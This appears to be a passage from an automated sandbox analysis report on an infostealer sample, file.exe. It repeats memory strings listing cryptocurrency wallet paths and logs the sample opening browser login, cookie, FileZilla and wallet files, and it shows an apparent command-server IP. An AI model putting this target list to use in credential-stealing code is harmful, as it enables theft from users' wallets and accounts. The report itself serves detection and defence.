Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ZVZFKMB9user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 81.77\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81\user\AppData\Roaming\Coinomi\Coinomi\wallets\.
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ZVZFKMB9user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ZVZFKMB9user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
